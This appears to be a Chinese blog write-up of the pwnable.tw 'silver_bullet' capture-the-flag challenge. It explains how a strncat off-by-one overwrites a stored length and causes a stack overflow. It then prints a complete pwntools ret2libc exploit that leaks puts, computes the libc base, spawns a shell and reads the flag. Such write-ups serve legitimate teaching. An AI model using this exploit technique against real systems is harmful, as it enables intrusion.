pwnable.tw silver_bullet

silver_bullet

检查保护

程序很简单也就这几个功能。

重点关注一下这三个主要函数。

Create函数,首先输入一个小于等于0x30长度的字符串,然后在s[0x30]的地方存入输入字符串的长度。

Pwoer_up函数,首先判断之前输入的字符串长度是否小于0x2F,如果小于,则可以对字符串进行追加。漏洞点就在于这个strncat ,strncat(dest,src,n)的功能是将src的前n个字节的字符追加到dest字符串后面,然后再加上\x00结尾。
试想一下我们首先输入的字符串为0x10长度,而s[0x30]处存着长度0x10。我们再输入0x30-0x10长度到字符串追加到之前的字符串后面,然后后面填上0x00,那么s[0x30]处低字节就被覆盖为了0x00,我们原先0x10在内存中的存储是按小端存储的也就是\x30\x00\x00\x00,我们覆盖后就成了\x00\x00\x00\x00,追加后的长度v3等于0x20,0x20<0x2F这样我们还可以再次追加,这样就造成了栈溢出。

由于程序是死循环,只有beat函数返回为1才能正常退出。所以我们要分析一下beat函数。

首先是类似于打怪,我们刚刚输入的字符串长度,也就是s[0x30]处的值被当成伤害,要把怪物打死main函数才能正常退出,而怪物HP有0x7FFFFFFF这么多。

不过我们不用慌

v3 = strlen(&s) + dest[0x30];

我们第2次字符串拼接可以覆盖dest[0x30],最终这个地方的值就是我们填入的值加上输入的s长。

由于没有cannary的保护,我们可以简单的进行栈溢出。原本栈上是这样的:

栈上变量
怪的血量 0x7fffffff
怪的名字 Gin
s
....
s的’长度‘
ebp
ret

我们把栈布局成如下:

栈上变量
怪的血量 0x7fffffff
怪的名字 Gin
s AAAA...
.... ...
s的'长度' 0xFFFFFF23
ebp 0x4141417F
ret put_plt
main
params put_got

我们首先泄漏出puts的地址,进而计算出libc的加载地址,然后算出system和bin_sh的地址
同理我们再来一次,把ret换成system,把参数换成bin_sh即可get_shell.

栈上变量
怪的血量 0x7fffffff
怪的名字 Gin
s AAAA...
.... ...
s的’长度‘ 0xFFFFFF23
ebp 0x4141417f
ret system
main
params bin_sh
from pwn import *
context.log_level = "DEBUG"

debug = 0
if debug:
    p = process("./silver_bullet")
    libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
    p = remote('chall.pwnable.tw',10103)
    libc = ELF('./libc_32.so.6')

elf = ELF('./silver_bullet')

main = 0x8048954
def create(desc):
    p.sendlineafter("Your choice :",'1')
    p.sendafter("Give me your description of bullet :",desc)

def power(desc):
    p.sendlineafter("Your choice :",'2')
    p.sendafter("bullet :",desc)

def beat():
    p.sendlineafter("Your choice :",'3')


def exp(fun,param):
    create('A'*0x20)
    power('B'*0x10)
    power(p32(0x7FFFFFFF)+"A"*3+p32(fun)+p32(main)+p32(param))
    beat()


exp(elf.plt['puts'],elf.got['puts'])

p.recvuntil('Oh ! You win !!\n')
puts = u32(p.recvuntil('\n',drop=True).ljust(4,'\x00'))
print 'puts: '+hex(puts)
libc_base = puts - libc.symbols['puts']
system = libc_base + libc.symbols['system']
bin_sh = libc_base + libc.search('/bin/sh').next()
print "system: "+hex(system)
print "bin_sh: "+hex(bin_sh)

exp(system,bin_sh)

p.sendlineafter("Oh ! You win !!\n","cat /home/silver_bullet/flag")
p.interactive()
posted @ 2020-05-13 20:07  Rookle  阅读(301)  评论(0编辑  收藏  举报